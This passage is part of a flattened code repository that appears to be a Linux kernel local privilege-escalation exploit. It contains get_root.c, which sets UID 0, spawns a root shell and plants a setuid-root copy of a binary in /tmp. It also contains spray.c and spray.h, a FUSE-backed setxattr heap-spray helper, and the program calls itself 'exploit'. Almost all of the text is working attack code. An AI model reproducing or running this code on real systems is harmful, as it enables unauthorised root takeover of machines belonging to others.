system("/tmp/dummy 2> /dev/null"); 461 | execl("/tmp/c" , (char *) NULL); 462 | } 463 | -------------------------------------------------------------------------------- /get_root.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int main(int argc, char ** argv) { 8 | // The path to the file you want to change permissions for 9 | if(argc == 1){ 10 | // Set UID to 0 (root) 11 | if (setuid(0)) { 12 | perror("setuid"); 13 | return 1; 14 | } 15 | system("echo 0 > /proc/sys/kernel/hung_task_timeout_secs"); 16 | // Execute a shell with elevated privileges 17 | char *shell = "/bin/sh"; 18 | char *args[] = {shell, NULL}; 19 | execve(shell, args, NULL); 20 | 21 | // If execve fails, it returns -1, and the following line will be executed. 22 | perror("execve"); 23 | } 24 | char *filePath = "/tmp/c"; 25 | system("cp /tmp/b /tmp/c"); 26 | // UID and GID for root are typically 0 27 | uid_t ownerUID = 0; // Root user ID 28 | gid_t ownerGID = 0; // Root group ID (you can also use -1 if you don't want to change the group) 29 | 30 | if (chown(filePath, ownerUID, ownerGID) == -1) { 31 | perror("Failed to change file owner to root"); 32 | return 1; 33 | } 34 | 35 | // Get current permissions 36 | struct stat st; 37 | if (stat(filePath, &st) != 0) { 38 | perror("Failed to get file permissions"); 39 | return 1; 40 | } 41 | 42 | // Add setuid permission to the current permissions 43 | mode_t newPermissions = st.st_mode | S_ISUID; 44 | 45 | // Change permissions of the file 46 | if (chmod(filePath, newPermissions) != 0) { 47 | perror("Failed to change file permissions"); 48 | return 1; 49 | } 50 | 51 | printf("Setuid permission added to %s\n", filePath); 52 | return 0; 53 | } 54 | -------------------------------------------------------------------------------- /spray.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #define FUSE_USE_VERSION 35 3 | #define _FILE_OFFSET_BITS 64 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include "spray.h" 16 | 17 | #define FUSE_FS_PATH "fuse_fs" 18 | #define FUSE_FS_FILENAME "fused" 19 | #define FUSE_FS_FILE_PATH FUSE_FS_PATH "/" FUSE_FS_FILENAME 20 | 21 | static int g_fuse_pipes[2] = {-1, -1}; 22 | static bool g_spray_exit; 23 | bool g_start_spray; 24 | static const char* g_spray; 25 | static size_t g_spray_size; 26 | static pthread_t* g_threads; 27 | static size_t g_num_threads; 28 | 29 | static int fuse_getattr(const char* path, struct stat* st, 30 | struct fuse_file_info* fi) 31 | { 32 | // We need to implement this in order to call `setxattr` on FUSE_FS_FILENAME. 33 | memset(st, 0, sizeof(*st)); 34 | if (strcmp(path, "/") == 0) { 35 | st->st_mode = S_IFDIR | 0755; 36 | st->st_nlink = 2; 37 | } else if (strcmp(path+1, FUSE_FS_FILENAME) == 0) { 38 | st->st_mode = S_IFREG | 0444; 39 | st->st_nlink = 1; 40 | st->st_size = 0x1000; 41 | } else { 42 | return -ENOENT; 43 | } 44 | return 0; 45 | } 46 | 47 | static int fuse_setxattr(const char* path, const char* name, const char* value, 48 | size_t size, int flags) 49 | { 50 | // Allocation and copy_from_user has already happened. Block until we are 51 | // told by spray_free(). 52 | char signal; 53 | //read(g_fuse_pipes[0], &signal, sizeof(signal)); 54 | return 0; 55 | } 56 | 57 | static struct fuse_operations fuse_ops = { 58 | .getattr = fuse_getattr, 59 | .setxattr = fuse_setxattr, 60 | }; 61 | 62 | 63 | static void* spray_thread(void* arg) { 64 | // Wait until we are told to start spraying 65 | while (!get_spray()){ 66 | sleep(1); 67 | } 68 | int ret = setxattr(FUSE_FS_FILE_PATH, "name", g_spray, g_spray_size, 0); 69 | return NULL; 70 | } 71 | 72 | void spray_init_fuse_fs(void) { 73 | if (g_fuse_pipes[0] != -1) 74 | die("double spray_init_fuse\n"); 75 | 76 | // Remove previously mounted FUSE fs if existed 77 | if (access(FUSE_FS_FILE_PATH, F_OK) == 0) { 78 | system("umount " FUSE_FS_PATH); 79 | } 80 | 81 | // Mount filesystem 82 | pipe(g_fuse_pipes); 83 | if (access(FUSE_FS_PATH, F_OK) == -1) 84 | mkdir(FUSE_FS_PATH, 0755); 85 | int pid = fork(); 86 | if (!pid) { 87 | char* fuse_argv[] = {"exploit", FUSE_FS_PATH, NULL}; 88 | fuse_main(sizeof(fuse_argv)/sizeof(*fuse_argv) - 1, fuse_argv, &fuse_ops, NULL); 89 | exit(EXIT_SUCCESS); 90 | } 91 | 92 | // Wait for FUSE filesystem to be available 93 | waitpid(pid, NULL, 0); 94 | while (access(FUSE_FS_FILE_PATH, F_OK) == -1) 95 | sched_yield(); 96 | } 97 | 98 | void spray_setup(const char* spray, size_t size, size_t n) { 99 | if (g_fuse_pipes[0] == -1) 100 | die("missing spray_init_fuse\n"); 101 | 102 | // Save data 103 | if (g_spray) 104 | die("double spray_setup"); 105 | g_spray = spray; 106 | g_spray_size = size; 107 | g_num_threads = n; 108 | 109 | // Create threads. Each thread will wait for us to set `g_start_spray`, and 110 | // then will call setxattr(), blocking until we write to the pipe in 111 | // spray_free(). 112 | g_threads = calloc(g_num_threads, sizeof(*g_threads)); 113 | for (size_t i = 0; i < g_num_threads; i++) { 114 | pthread_create(&g_threads[i], NULL, spray_thread, NULL); 115 | } 116 | } 117 | 118 | void spray_do(void) { 119 | if (!g_spray) 120 | die("missing spray_setup\n"); 121 | g_start_spray = true; 122 | } 123 | bool get_spray(void){ 124 | return g_start_spray; 125 | } 126 | void spray_free(void) { 127 | if (!g_start_spray) 128 | printf("w : missing spray_do\n"); 129 | g_spray_exit=true; 130 | // Unblock threads and wait for them to finish 131 | char signal; 132 | for (size_t i = 0; i < g_num_threads; i++) { 133 | write(g_fuse_pipes[1], &signal, sizeof(signal)); 134 | } 135 | for (size_t i = 0; i < g_num_threads; i++) { 136 | pthread_join(g_threads[i], NULL); 137 | } 138 | 139 | // Clear state 140 | free(g_threads); 141 | g_threads = NULL; 142 | g_num_threads = 0; 143 | g_start_spray = false; 144 | g_spray = NULL; 145 | g_spray_size = 0; 146 | } 147 | -------------------------------------------------------------------------------- /spray.h: -------------------------------------------------------------------------------- 1 | #ifndef _SPRAY_H 2 | #define _SPRAY_H 3 | 4 | #include 5 | 6 | void spray_init_fuse_fs(void); 7 | void spray_setup(const char* spray, size_t size, size_t n); 8 | void spray_do(void); 9 | bool get_spray(void); 10 | void spray_free(void); 11 | void die(char * ); 12 | #endif 13 | --------------------------------------------------------------------------------